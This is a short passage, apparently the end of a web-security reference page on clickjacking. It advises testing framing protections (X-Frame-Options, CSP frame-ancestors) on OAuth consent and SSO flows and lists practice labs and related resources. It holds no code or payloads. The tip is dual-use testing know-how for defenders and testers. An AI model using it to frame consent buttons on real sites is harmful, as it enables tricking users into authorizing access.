Insight β€” Framing protections are often applied globally but forgotten on OAuth/consent, SSO and other bolt-on flows; specifically test X-Frame-Options/CSP frame-ancestors on the authorize button.

Β§References & practice

  1. PortSwigger Web Security Academy β€” Clickjacking labs (hands-on practice).
  2. All 20 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains Β· payload libraries Β· methodology.